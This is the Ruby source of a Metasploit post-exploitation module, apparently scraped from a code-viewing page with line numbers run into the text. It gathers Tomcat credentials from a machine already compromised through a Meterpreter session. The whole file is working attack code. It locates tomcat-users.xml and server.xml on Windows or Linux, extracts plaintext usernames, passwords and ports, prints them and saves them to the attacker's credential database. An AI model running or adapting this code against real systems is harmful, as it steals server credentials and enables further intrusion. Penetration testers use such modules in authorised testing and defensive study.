Path: blob/master/modules/post/multi/gather/tomcat_gather.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Services89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Gather Tomcat Credentials',14'Description' => %q{15This module will attempt to collect credentials from Tomcat services running on the machine.16},17'License' => MSF_LICENSE,18'Author' => [19'Koen Riepe <[email protected]>', # Module author20],21'Platform' => [ 'win', 'linux' ],22'SessionTypes' => [ 'meterpreter' ],23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [],26'Reliability' => []27}28)29)30end3132@username = []33@password = []34@port = []35@paths = []3637def report_creds(user, pass, port)38return if user.blank? || pass.blank?3940# Assemble data about the credential objects we will be creating41credential_data = {42origin_type: :session,43post_reference_name: fullname,44private_data: pass,45private_type: :password,46session_id: session_db_id,47username: user,48workspace_id: myworkspace_id49}5051credential_core = create_credential(credential_data)5253if !port.is_a?(Integer)54port = 808055print_status("Port not an Integer, defaulting to port #{port} for creds database")56end5758login_data = {59core: credential_core,60status: Metasploit::Model::Login::Status::UNTRIED,61address: ::Rex::Socket.getaddress(session.sock.peerhost, true),62port: port,63service_name: 'Tomcat',64protocol: 'tcp',65workspace_id: myworkspace_id66}67create_credential_login(login_data)68end6970def gather_win71print_status('Windows OS detected, enumerating services')72tomcat_home_array = []73service_list.each do |service|74if service[:name].downcase.include? 'tomcat'75print_good('Tomcat service found')76tomcat_home_array.push(service_info(service[:name])[:path].split('\\bin\\')[0])77end78end7980if tomcat_home_array.empty?81print_status('No Tomcat home can be determined')82return83end8485tomcat_home_array.each do |tomcat_home|86if tomcat_home.include? '"'87tomcat_home = tomcat_home.split('"')[1]88end8990conf_path = "#{tomcat_home}\\conf\\tomcat-users.xml"9192if exist?(conf_path)93print_status("#{conf_path} found!")94xml = read_file(conf_path).split("\n")9596comment_block = false97xml.each do |line|98if line.include?('<user username=') && !comment_block99@username.push(line.split('<user username="')[1].split('"')[0])100@password.push(line.split('password="')[1].split('"')[0])101@paths.push(conf_path)102elsif line.include?('<!--')103comment_block = true104elsif line.include?('-->') && comment_block105comment_block = false106end107end108end109110port_path = "#{tomcat_home}\\conf\\server.xml"111if exist?(port_path)112xml = read_file(port_path).split("\n")113end114comment_block = false115xml.each do |line|116if line.include?('<Connector') && !comment_block117i = 0118while i < @username.count119@port.push(line.split('<Connector port="')[1].split('"')[0].to_i)120i += 1121end122elsif line.include?('<!--')123comment_block = true124elsif line.include?('-->') && comment_block125comment_block = false126end127end128end129end130131def gather_nix132print_status('Unix OS detected')133user_files = cmd_exec('locate tomcat-users.xml').split("\n")134if !user_files.empty?135user_files.each do |path|136next unless exist?(path)137138print_status("#{path} found")139begin140xml = read_file(path).split("\n")141comment_block = false142xml.each do |line|143if line.include?('<user username=') && !comment_block144@username.push(line.split('<user username="')[1].split('"')[0])145@password.push(line.split('password="')[1].split('"')[0])146@paths.push(path)147elsif line.include?('<!--')148comment_block = true149elsif line.include?('-->') && comment_block150comment_block = false151end152end153rescue StandardError154print_error("Cannot open #{path} you probably don't have permission to open the file or parsing failed")155end156end157else158print_status('No tomcat installation has been detected')159end160161port_path = cmd_exec('locate server.xml').split("\n")162if !port_path.empty?163port_path.each do |path|164next unless exist?(path) && path.include?('tomcat')165166print_status("Attempting to extract Tomcat listening ports from #{path}")167begin168xml = read_file(path).split("\n")169comment_block = false170xml.each do |line|171if line.include?('<Connector') && !comment_block172i = 0173while i < @username.count174@port.push(line.split('<Connector port="')[1].split('"')[0].to_i)175i += 1176end177elsif line.include?('<!--')178comment_block = true179elsif line.include?('-->') && comment_block180comment_block = false181end182end183rescue StandardError184print_status("Cannot open #{path} you probably don't have permission to open the file or parsing failed")185end186end187else188print_status('Failed to detect tomcat service port')189end190end191192def run193if sysinfo194if sysinfo['OS'].include?('Windows')195gather_win196else197gather_nix198end199else200print_error('Incompatible session type, sysinfo is not available.')201end202203if @username.empty?204print_status('No user credentials have been found')205end206207i = 0208while i < @username.count209print_good("Username and password found in #{@paths[i]} - #{@username[i]}:#{@password[i]}")210report_creds(@username[i], @password[i], @port[i])211i += 1212end213214@username = []215@password = []216@port = []217@paths = []218end219end220221222